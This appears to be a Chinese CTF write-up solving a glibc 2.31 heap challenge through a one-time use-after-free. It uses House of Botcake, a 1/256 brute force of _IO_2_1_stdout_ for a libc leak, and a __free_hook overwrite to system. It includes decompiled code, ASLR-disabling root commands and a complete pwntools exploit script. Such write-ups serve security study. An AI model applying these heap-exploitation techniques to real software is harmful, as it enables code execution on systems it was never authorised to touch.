知识点
- House of bot cake
- 爆破_IO_2_1_stdout
- 劫持free_hook
程序分析
libc版本:Ubuntu GLIBC 2.31-0ubuntu9.9
一个堆的菜单题
main
菜单选择,输1进promise函数,18次malloc,大小可控
输2进recall函数,10次free
输9进gift函数,有个一次性uaf的漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; int v4; int *v5; unsigned __int64 v6;
v6 = __readfsqword(0x28u); init(argc, argv, envp); v4 = 0; v5 = &v4; start(); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", v5); v3 = *v5; if ( *v5 != 9 ) break; gift(); } if ( v3 <= 9 ) { if ( v3 == 1 ) { Promise(); } else if ( v3 == 2 ) { Recall(); } } } }
|
start
1 2 3 4 5
| int start() { puts("This is a book of wishes"); return puts("what's your wish?"); }
|
menu
1 2 3 4 5 6
| int menu() { puts("1.Promise"); puts("2.Recall"); return printf("Your choice : "); }
|
gift
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| __int64 gift() { int num;
if ( cnt2 > 0 ) { puts("Wrong!\n"); exit(0); } printf("Index: "); num = read_num(); free(*((void **)&heap_ptr + num)); return (unsigned int)++cnt2; }
|
Promise
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __int64 Promise() { __int64 result; int v1; int num;
if ( !cnt1 ) { puts("Human greed is never ending!"); puts("One day you will regret"); ++cnt1; } result = (unsigned int)cnt_p; if ( cnt_p <= 18 ) { printf("Size: "); num = read_num(); if ( num > 256 ) { puts("Wrong!\n"); exit(0); } v1 = cnt; *((_QWORD *)&heap_ptr + v1) = malloc(num); printf("Content: "); read(0, *((void **)&heap_ptr + cnt), num); puts("Done!\n"); ++cnt; return (unsigned int)++cnt_p; } return result; }
|
Recall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| int Recall() { int result; int v1;
if ( cnt2 <= 0 ) puts("There is now an opportunity to withdraw, but sometimes..."); result = cnt_r; if ( cnt_r <= 10 ) { printf("Index: "); result = read_num(); v1 = result; if ( (unsigned int)result <= 0x11 ) { if ( !*((_QWORD *)&heap_ptr + result) ) { puts("Wrong!\n"); exit(0); } free(*((void **)&heap_ptr + result)); *((_QWORD *)&heap_ptr + v1) = 0LL; return puts("Done!\n"); } } return result; }
|
解题步骤:
1/256概率
调试时, 关闭本地地址随机化
1 2 3
| $ sudo su # echo 0 > /proc/sys/kernel/randomize_va_space # cat /proc/sys/kernel/randomize_va_space
|
House of botcake构造
原因:
Glibc 2.29下,tcache 增加了 key 字段, 不能简单的实现tcache-dup,需要覆盖key,才能double free
house of botcake:在填满tcache后,释放两个连续的相邻的chunk(chunk7 和chunk8),使其合并为unsorted bin。再从tcache中申请一个chunk,再释放。此时的chunk同时存在于unsorted bin和tcache bin 中,所以不会有key字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| for i in range(7): add(0x80, 'aaaa') add(0x80, 'aaaa') add(0x80, 'aaaa') add(0x80, 'aaaa') for i in range(7): free(i) gift(8) free(7) add(0x80,' ') free(8)
|
利用botcake
手法,通过唯一一次UAF,使得chunk8
同时位于unsorted bin
和tcache bin
,使其绕过高版本下tcache的fd存在key
这一问题
此时,形成类似tcache poioning
的效果
覆盖堆残留的main_arena(1/16)
1 2 3 4 5 6 7
| add(0x50, p16(0xe66d)) payload1 = b'a'*0x20 + p64(0) + p64(0x91) + p16(0x9690) add(0x40, payload1)
|
切割unsorted bin
, 获得一块堆,残留有main_arena+96
, 同时覆盖两个字节( 其中半字节需要爆破, 1/16 )
第二次申请堆,形成overlapping
,使tcache
的next
指向堆残留处(远程下需要爆破半字节,1/16概率,所以为1/256的概率)
(需要注意的是tcache bin指向的是chunk的data部分)
打_IO_2_1_stdout(1/16)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| payload2 = b'a'*0x33 +p64(0xfbad1800) +p64(0)*3 +b'\x00' add(0x80, "a") add(0x80, "a") add(0x80, payload2) stdout = libc.sym['_IO_2_1_stdout_'] + 96 libc_base = u64(p.recvuntil('\x7f', timeout=0.1)[-6:].ljust(8,b'\x00'))-stdout if libc_base == -stdout: exit(-1)
libc_base += 0xd80 print(hex(libc_base)) system = libc_base + libc.sym['system'] print(hex(system)) __free_hook = libc_base + libc.sym['__free_hook'] print(hex(__free_hook))
|
在对应位置 _IO_2_1_stdout_-0x43
存在一块0x7f
大小的chunk
所以需要指向其data
部分,即0x7ffff7fae66d
,覆写,使得_IO_2_1_stdout_
绕过限制,输出
之后接受libc
,写地址
重利用house of botcake
释放前面构造overlapping
的chunk
和tcahe bin
使再一次tcache poing
成为可能
劫持free_hook
1 2 3 4 5 6
| payload3 = b'a'*0x20 + p64(0) + p64(0x91) + p64(__free_hook) add(0x40, payload3) add(0x80, b'/bin/sh\x00') add(0x80, p64(system)) free(17)
|
再次构造overlapping
,劫持free_hook
,使其修改为system
申请一块堆写上"/bin/sh\x00"
Get Shell
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| from pwn import * from ctypes import *
libc = ELF('/pwn/libc')
banary = "/pwn/pwn" elf = ELF(banary)
def debug(): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s))) pi = lambda : p.interactive()
def menu(choice): ru('choice : ') sl(str(choice)) def add(size, con): menu(1) ru('Size: ') sl(str(size)) ru('Content: ') s(con)
def free(index): menu(2) ru('Index: ') sl(str(index))
def gift(index): menu(9) ru('Index: ') sl(str(index))
def pwn():
for i in range(7): add(0x80, 'aaaa') add(0x80, 'aaaa') add(0x80, 'aaaa') add(0x80, 'aaaa') for i in range(7): free(i) gift(8) free(7) add(0x80,' ') free(8) add(0x50, p16(0x966d)) payload1 = b'a'*0x20 + p64(0) + p64(0x91) + p16(0x9690) add(0x40, payload1) payload2 = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00' add(0x80, "a") add(0x80, "a") add(0x80, payload2) stdout = libc.sym['_IO_2_1_stdout_'] + 96 libc_base = u64(p.recvuntil('\x7f', timeout=0.1)[-6:].ljust(8,b'\x00'))-stdout print(hex(libc_base)) if libc_base == -stdout: exit(-1) libc_base += 0xd80 print(hex(libc_base)) system = libc_base + libc.sym['system'] print(hex(system))
__free_hook = libc_base + libc.sym['__free_hook'] print(hex(__free_hook)) free(13) free(12) payload3 = b'a'*0x20 + p64(0) + p64(0x91) + p64(__free_hook) add(0x40, payload3) add(0x80, b'/bin/sh\x00') add(0x80, p64(system)) free(17)
pi() ''' p=process('./pwn/pwn') pwn() ''' '''''' if __name__=='__main__': while True: p=process('/pwn/pwn') try: pwn() except: p.close()
|